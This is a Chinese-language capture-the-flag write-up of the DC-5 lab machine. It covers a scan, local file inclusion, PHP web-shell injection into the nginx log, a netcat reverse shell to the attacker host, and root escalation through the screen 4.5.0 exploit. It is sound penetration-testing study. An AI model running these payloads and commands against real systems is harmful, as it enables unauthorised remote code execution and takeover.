DC5
信息搜集
nmap -sV 192.168.114.0/24

开了80和111端口,中间件用的nginx1.6.2。
看看这个靶机的描述

打开80端口,在contact提交一个评论,重定向到了thankyou.php的页面,还有一些参数。

dirsearch扫目录,有一个footer.php

靶机渗透
刷新一下发现那个数字会改变,又回到thankyou的页面刷新,底下的数字也会改变,猜测可能是thankyou.php包含footer.php。
对变量值fuzz,但是啥也没有,在换成对变量名fuzz

发现了点不一样的东西,file这个参数名返回的长度跟其他的都不一样。

输入http://www.baidu.com没有回显,应该就是本地文件包含了,但是就凭这个是拿不到shell的。
我们可以通过向日志注入木马的方式来实现RCE。
上传木马试试能不能成功/hahaha<?php @eval($_REQUEST[123]);?>,然后访问nginx的日志/var/log/nginx/access.log

放包之后就报404,这样日志里面就有记录了。

可以看到已经hhhh了,然后蚁剑连接看看是不是成功了。

提权
那到这里就可以反弹shell了,kali上nc打开监听nc -lvp 7777,
然后打开蚁剑的虚拟终端输入命令nc 192.168.114.137 7777 -e /bin/bash


成功反弹shell,且目标安装有python。
再用python拿到交互式shellpython -c "import pty;pty.spawn('/bin/bash')"

find / -perm -u=s -type f 2>/dev/null,看看有root权限的可执行文件,这个screen-4.5.0很可疑,版本号都有。

网上搜了一下,screen这个东西挺强大的,它可以让指定程序在后台运行,并且在screen没有终止的情况下,一直运行。应该是吧。
查一下kali的漏洞库有没有screen-4.5.0的漏洞。
searchsploit screen 4.5.0,最好就用下面sh可执行文件,用txt的话还要进行编译。

cp /usr/share/exploitdb/exploits/linux/local/41154.sh .

然后把这个文件上传到靶机的tmp目录下面


bash 41154.sh,运行exp

flag在/root下面


浙公网安备 33010602011771号